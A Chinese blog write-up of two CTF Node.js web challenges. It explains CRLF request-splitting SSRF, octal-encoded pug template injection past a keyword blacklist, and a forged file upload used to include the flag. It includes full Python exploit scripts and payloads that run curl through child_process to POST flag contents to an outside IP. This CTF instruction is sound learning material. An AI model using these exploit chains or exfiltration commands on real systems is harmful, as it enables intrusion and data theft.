抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

今天来填下NodeGame的坑吧。这道题确实出的很难。记得当时比赛中也只有大概8位师傅做出来。而实际上,很多师傅应该都是有思路与参考题目,但是最终被小细节所影响的。
这里给出出题人自己的出题思路:http://blog.5am3.com/2020/02/11/ctf-node1/#%E8%87%AA%E5%B7%B1%E5%87%BA%E7%9A%84-node-game
其中一道他参考的国际赛题目wp:
https://r3billions.com/writeup-split-second/

nullcon hackim-2020 split-second

题目源码我fork后单独放在自己github上,有需要自取
https://github.com/baiyecha404/hackim-web

先讲解下出题人师傅参考的那道国际赛的题目吧。
首先题目的路由跟我们这道NodeGame基本一致,首先从flag路由可以看到

app.get('/flag', function(req, res) {
    var ip = req.connection.remoteAddress;
    if (ip.includes('127.0.0.1')) {
        var authheader = req.headers['adminauth'];
        var pug2 = decodeURI(req.headers['pug']);
        var x=pug2.match(/[a-z]/g);
        if(!x){
         if (authheader === "secretpassword") {
            var html = pug.render(pug2);
         }
        }
       else{
        res.send("No characters");
      }
    }
    else{
     res.send("You need to come from localhost");
    }
});

core路由是:

app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/getMeme?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>Errrrr, You have been Blocked</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        resps = chunk.toString();
                        res.send(resps);
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

还有一个黑名单函数

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

以上就是源码中重要部分。除此以外还要先明确一点,题目使用的是Nodejs8.12.版本。并且使用pug作为模板引擎。

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');

这个版本的Nodejs存在什么漏洞呢?如果去搜索会发现存在一个CVE,类型为CRLF injection。具体利用之后再提。现在我们来分析下上述源码的重要之处:
1./flag 这是我们的最终目的。一个重点是要达成ip.includes('127.0.0.1)。说明我们可能需要构造一个ssrf.在ip检查后,还有另一个条件authheader === "secretpassword"进行了http头的检查,达成后将进行pug的渲染,说明可能达成Nodejs的命令执行。而既然要对头进行检查,说明我们确实可能需要CRLF漏洞来进行http头的伪造。

2.core路由允许我们传递参数q。之后与http://localhost:8081/getMeme?拼接,整个url经过一次黑名单检查后将执行。所以上面所需的ssrf在这已经帮我们准备好了。只需考虑绕过即可

3.黑名单
从其中存在的关键字就可看出,这是Nodejs常见的命令执行的模板。我们以前用过的Nodejs命令执行payload:

global.process.mainModule.require('child_process').exec('ls')

将不能直接传入。显然这里需要其他途径来编码绕过。

既然如此我们来复现下,vps上搭好环境:
我们的CRLF漏洞,允许我们通过换行构造headers。同时也可以构造拆分ssrf。利用换行结束前一个请求,并发送另一个请求:

GET /core?q=x HTTP/1.1


GET /flag HTTP/1.1
adminauth: secretpassword
pug: - xxx

那么明确我们需要伪造的文件头

GET /flag HTTP/1.1
Host: 127.0.0.1
adminauth: secretpassword
pug: - code 
dummy:  HTTP/1.1
Host: localhost:8081
Connection: close

pug处可以执行我们需要执行的命令。而关键headers里的参数已经绕过。既然如此,可以大致写出我们需要用CRLF注入的命令payload:

SPACE+HTTP+%2F+1.1+CRLF+Host+%3A+SPACE+127.0.0.1+CRLF+CRLF+GET+SPACE+%2F+flag+SPACE+HTTP+%2F+1.1+CRLF+Host+%3A+SPACE+127.0.0.1+CRLF+adminauth+%3A+SPACE+secretpassword+CRLF+pug+%3A+SPACE+aaa+CRLF+dummy+%3A+SPACE

而只需/core?q=payload就执行了SSRF+CRLF。

而为了bypass对pug的渲染问题,我们直接选择8进制绕过。因为它不像unicode或者16进制那样容易包含字母。所以使用八进制绕过。大概如下形式:

[]["constructor"]  有效
[]["\143\157\156\163\164\162\165\143\164\157\162"] 有效,可执行
[][\42\143\157\156\163\164\162\165\143\164\157\162\42] 无效,因为双引号被编码了

这里参照dalao的exp
https://github.com/xiaobye-ctf/CTF-writeups/blob/master/hackim-2020/web/split%20second/split%20second.md

(用的是py2,所以用虚拟机跑的才有正解):

# coding=UTF-8
import requests
from requests.utils import quote
def toOct(str):
    r=""
    for i in str:
        if i>='a'and i<='z':
            r+='\\'+oct(ord(i))[1:]
        else:
            r+=i
    return r

#This next line could test in nodejs interpreter so that we can observe the similar behavior about how http treat on unicode(\u{xxxx} is js encode pattern)
#Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
#Unicode čĊ will convert to latin1 which will only pick up the right most byte
SPACE=u'\u0120'.encode('utf-8')
CRLF=u'\u010d\u010a'.encode('utf-8')  # transfer from unicode to utf-8 (\uxxxx is unicode's pattern)
SLASH=u'\u012f'.encode('utf-8')

pug = toOct('''-[]["constructor"]["constructor"]("console.log(this.process.mainModule.require('child_process').exec('curl 120.27.246.202:8888 -X POST -d $(cat fl*)'))")()''').replace('"','%22').replace("'","%27")#' and " need to be double encoded
print quote(pug)

payload='sol'+SPACE+'HTTP'+SLASH+'1.1'+CRLF*2+'GET'+SPACE+SLASH+'flag'+SPACE+'HTTP'+SLASH+'1.1'+CRLF+'x-forwarded-for:'+SPACE+'127.0.0.1'+CRLF+'adminauth:'+SPACE+'secretpassword'+CRLF+'pug:'+SPACE+pug+CRLF+'test:'+SPACE

res=requests.get('http://120.27.246.202:8081/core?q='+quote(payload))
#res=requests.get('http://web2.ctf.nullcon.net:8081/core?q='+requote_uri(payload))
print res.content

脚本中注意一下几点:
1.单引号与双引号均需要编码两次来绕过黑名单。
2.payload执行时是用- code的形式执行的。这是pug的特性。还可以#{}但是被过滤了
同时还学到了javascript中等价的表达方式,比如所参考的dalao的payload中用到了

[]['constructor']['constructor']('console.log(payload)')()

等价于

[].constructor.constructor('alert(12345)')()

等价于

Array.constructor('alert(12345)')()

相当于借用了数组的构造方法来调用命令。
flag
奇怪的是我又没弹到shell。curl命令到是没啥问题

NodeGame

出题人思路很简单,既然这个CRLF+ssrf漏洞可以构造headers,那构造文件上传也可以喽。所以就有了这个题目
先来看给的源码

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }

                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

关于/core不用多说,跟上面一样,而关于file_upload则类似上面那题的/flag。这样一来我们需要寻找文件上传的执行点在哪。

app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

看到首页接受了一个action参数,会将我们上传到/template/目录下的文件pug渲染。并且返回值。这样的话我们思路大致就清晰了:
还是通过core进行ssrf并伪造文件上传的http包访问到/flag。之后直接首页文件包含触发渲染,就可以访问到内容。
由于这里直接构造头太麻烦,所以要先抓个现成的pug文件上传包伪造下,注意包里面的

Content-Type: /../template
Content-Length:292
Connection:keep-alive

等参数不可随便乱改
这里借赵师傅脚本小改下:https://www.zhaoj.in/read-6462.html

import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------191691572411478
Connection: keep-alive
cache-control: no-cache
Host: x
Content-Length: 292

-----------------------------191691572411478
Content-Disposition: form-data; name="file"; filename="exp.pug"
Content-Type: /../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

----------------------------919695033422425209299810--

GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://9901208f-146e-4356-bad4-2d95ad2b9060.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

也是常规的把构造好的request用字符绕过。当然我们上一道题的八进制等等其他绕过我觉得都可以,毕竟此处没限制url传参不含字母。

/?action=exp

成功包含flag
flag
值得一提的是我想用curl等等时又失败了,我按出题人给的方法构造包里直接放命令,结果很无语:

POST /file_upload HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1

-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="byc403.pug"
Content-Type: ../template

- global.process.mainModule.require('child_process').execSync('curl http://120.27.246.202:8877 -X POST -d $(cat /flag.txt)')

-----------------------------12837266501973088788260782942--

error
提示不能 Couldn’t connect to server.
然而出题人的exp里就是用的execSync+curl。我不知道什么情况。毕竟公益赛两道node题都已经证实不能curl,wget,nc,bash等等反弹shell或者连外网的操作。感觉很迷。那只能按赵师傅那样include了。

评论